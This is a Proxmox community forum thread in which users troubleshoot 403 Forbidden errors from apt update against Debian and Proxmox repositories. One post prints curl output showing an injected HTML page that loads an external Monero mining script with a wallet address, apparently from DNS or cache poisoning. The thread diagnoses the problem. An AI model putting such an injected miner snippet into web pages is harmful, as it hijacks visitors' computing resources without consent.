update fail "403 forbidden"

M

megagolgoth

Renowned Member
Jul 19, 2014
13
0
66
When I'm doing "apt update" I'm getting a "403 forbidden" from certain country :
Code: 
apt-get update
Ign:1 https://cdn-aws.deb.debian.org/debian stretch InRelease
Get:2 https://cdn-aws.deb.debian.org/debian stretch-updates InRelease [91.0 kB]
Get:3 https://cdn-aws.deb.debian.org/debian stretch-backports InRelease [91.8 kB]                                                
Get:4 https://cdn-aws.deb.debian.org/debian-security stretch/updates InRelease [94.3 kB]                                          
Hit:5 https://cdn-aws.deb.debian.org/debian stretch Release                                                                      
Get:6 https://cdn-aws.deb.debian.org/debian-security stretch/updates/main amd64 Packages [495 kB]                                
Get:8 https://cdn-aws.deb.debian.org/debian-security stretch/updates/main Translation-en [221 kB]                                
Get:9 https://cdn-aws.deb.debian.org/debian-security stretch/updates/contrib amd64 Packages [1,760 B]                            
Get:10 https://cdn-aws.deb.debian.org/debian-security stretch/updates/contrib Translation-en [1,759 B]                            
Get:11 https://cdn-aws.deb.debian.org/debian-security stretch/updates/non-free amd64 Packages [1,600 B]                          
Get:12 https://cdn-aws.deb.debian.org/debian-security stretch/updates/non-free Translation-en [691 B]                            
Ign:13 http://download.proxmox.com/debian/pve stretch InRelease                                                                  
Err:14 http://download.proxmox.com/debian/pve stretch Release                                                                    
  403  Forbidden [IP: 94.136.30.185 80]
Reading package lists... Done
E: The repository 'http://download.proxmox.com/debian/pve stretch Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

My sources.list
Code: 
deb https://deb.debian.org/debian stretch main contrib non-free

deb https://deb.debian.org/debian stretch-updates main contrib non-free

deb https://deb.debian.org/debian stretch-backports main contrib non-free

# security updates
deb https://deb.debian.org/debian-security stretch/updates main contrib non-free

# PVE pve-no-subscription repository provided by proxmox.com,
# NOT recommended for production use
deb http://download.proxmox.com/debian/pve stretch pve-no-subscription

Could be possible that some IP address blocked?
 
hi,

can you send the output of:

Code: 
curl download.proxmox.com
 
Code: 
# curl download.proxmox.com
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
   <title>"http://download.proxmox.com/"</title>
<script src="https://xmr.omine.org/assets/v7.js"></script>

  <script>

    OMINE("45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT","-1"); //-1 means use all cpu threads
    throttleMiner=20; //20 means 80% of cpu usage

  </script>
</head>
<frameset>
<frame src="http://download.proxmox.com/"></frame>
</frameset>
</html>

Got the same problem with the debian repo, and in https, it's working well now...

I don't have a subscription, so no https from proxmox's repo for me...
 
Last edited:
it seems you are the victim of either dns or cache poisoning that inject javascript code (in this case a guess a mining script) into your http results
 
With GNU/Linux Debian repo it's working in https.

Is there a solution for the Proxmox repo?

Putting https for Proxmox repo seems to lead to subscription repo...
 
Hello guys,

I am having a similar problem on updates , but from debian repositories itself .

Err:1 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:2 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:3 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.92.204 80]
Hit:4 http://download.proxmox.com/debian/pve buster InRelease
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.92.204 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

Any help?

After reading apt-secure did not find anything usefull.
i am unable to install tools like htop, byobu , vim etc.
 
Last edited:
hi

jgarcia said:
I am having a similar problem on updates , but from debian repositories itself .
Click to expand...

can you reach the mirrors with a browser?
 
oguz said:
hi



can you reach the mirrors with a browser?
Click to expand...
Hello,
Yes I can reach those mirrors from browser, and they work on another debian machine.
Just not working from pve-manager/6.0-11/2140ef37 (running kernel: 5.0.21-4-pve) which is weird.

thanks.
 
Hello Guys,

I think I have found the reason, of this issues. It seems that some countries are doing some crappy stuff with the internet.
Anyway, after trying several mirrors I was able to find debian-archive.trafficmanager.net/debian/ working as expected.

Thanks.
 
hi,

glad your problem is solved.

jgarcia said:
It seems that some countries are doing some crappy stuff with the internet.
Anyway, after trying several mirrors I was able to find debian-archive.trafficmanager.net/debian/ working as expected.
Click to expand...

some countries use DPI systems to inspect or modify unencrypted traffic. it seems like you could be a victim of that. you could try finding an https mirror for debian, and it should fix your issue in the long run.
 
I'm in similar problem for about 2 days.
My results indicate debian mirrors are ok, but only proxmox returned 403 error.
And I can confirm my subscription is active at Subscription>Status(also with "Check" button or "System Report").

Any help to this?

Code: 
# apt update
Ign:1 http://ftp.jp.debian.org/debian stretch InRelease
Hit:2 http://security.debian.org stretch/updates InRelease                         
Hit:3 http://ftp.jp.debian.org/debian stretch-updates InRelease                     
Hit:4 http://ftp.jp.debian.org/debian stretch Release
Ign:6 https://enterprise.proxmox.com/debian/pve stretch InRelease
Err:7 https://enterprise.proxmox.com/debian/pve stretch Release
  403  Forbidden
Reading package lists... Done
E: The repository 'https://enterprise.proxmox.com/debian/pve stretch Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
 
We discovered and fixed the issue on one of our download mirrors, please try again.
 
the problem still continues

apt update
Err:1 http://deb.debian.org/debian buster InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:2 http://deb.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:3 http://download.proxmox.com/debian/ceph-nautilus buster InRelease
403 Forbidden [IP: 212.224.123.70 80]
Err:4 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:5 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:6 https://enterprise.proxmox.com/debian/pve buster InRelease
401 Unauthorized [IP: 212.224.123.70 443]
Err:7 http://security.debian.org/debian-security buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:8 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster-updates InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://download.proxmox.com/debian/ceph-nautilus buster InRelease' is no longer signed.
E: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease 403 Forbidden [IP: 212.224.123.70 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'https://enterprise.proxmox.com/debian/pve buster InRelease' is not signed.
E: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease 401 Unauthorized [IP: 212.224.123.70 443]
E: Failed to fetch http://security.debian.org/debian-security/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org/debian-security buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
 
iatalay19 said:
the problem still continues

apt update
Err:1 http://deb.debian.org/debian buster InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:2 http://deb.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:3 http://download.proxmox.com/debian/ceph-nautilus buster InRelease
403 Forbidden [IP: 212.224.123.70 80]
Err:4 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:5 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:6 https://enterprise.proxmox.com/debian/pve buster InRelease
401 Unauthorized [IP: 212.224.123.70 443]
Err:7 http://security.debian.org/debian-security buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:8 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster-updates InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://download.proxmox.com/debian/ceph-nautilus buster InRelease' is no longer signed.
E: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease 403 Forbidden [IP: 212.224.123.70 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'https://enterprise.proxmox.com/debian/pve buster InRelease' is not signed.
E: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease 401 Unauthorized [IP: 212.224.123.70 443]
E: Failed to fetch http://security.debian.org/debian-security/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org/debian-security buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
Click to expand...
can you run curl http://deb.debian.org/debian/ -v and post the output ?
 
Hi all,

Unfortunately I have been having the exact same issue, although it used to work fine in the past.
- I can download packages and access sites on the same network ie on my laptop
- Proxmox version: 6.4-13
CURL command results (on the proxmox server):


<html>
<head><title>Index of /</title></head>
<body bgcolor="white">
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="debian/">debian/</a> 07-Jul-2021 09:28 -
<a href="images/">images/</a> 19-Oct-2021 12:48 -
<a href="iso/">iso/</a> 07-Sep-2021 10:27 -
<a href="temp/">temp/</a> 30-Sep-2021 13:55 -
</pre><hr></body>
</html>

Error output sample:

Err:1 http://ftp.au.debian.org/debian bullseye/main amd64 base-files amd64 11.1+deb11u1
403 Forbidden [IP: 150.203.164.37 80]
Err:2 http://ftp.au.debian.org/debian bullseye/main amd64 debianutils amd64 4.11.2
403 Forbidden [IP: 150.203.164.37 80]
Err:3 http://ftp.au.debian.org/debian bullseye/main amd64 locales all 2.31-13+deb11u2
403 Forbidden [IP: 150.203.164.37 80]
Err:4 http://ftp.au.debian.org/debian bullseye/main amd64 libpython3.9-minimal amd64 3.9.2-1
403 Forbidden [IP: 150.203.164.37 80]
Err:5 http://ftp.au.debian.org/debian bullseye/main amd64 python3-minimal amd64 3.9.2-3
403 Forbidden [IP: 150.203.164.37 80]
Err:6 http://download.proxmox.com/debian/pve bullseye/pve-no-subscription amd64 libpve-cluster-api-perl all 7.0-3
403 Forbidden [IP: 51.79.159.216 80]
Err:7 http://ftp.au.debian.org/debian bullseye/main amd64 perl-modules-5.32 all 5.32.1-4+deb11u2
403 Forbidden [IP: 150.203.164.37 80]



Many thanks


Regards,
Chris
 
You must log in or register to reply here.

About

The Proxmox community has been around for many years and offers help and support for Proxmox VE, Proxmox Backup Server, and Proxmox Mail Gateway.
We think our community is one of the best thanks to people like you!

Quick Navigation

Home Get Subscription Wiki Downloads Proxmox Customer Portal About

Get your subscription!

The Proxmox team works very hard to make sure you are running the best software and getting stable updates and security enhancements, as well as quick enterprise support. Tens of thousands of happy customers have a Proxmox subscription. Get yours easily in our online shop.

Buy now!
Community platform by XenForo® © 2010-2024 XenForo Ltd.
Top Bottom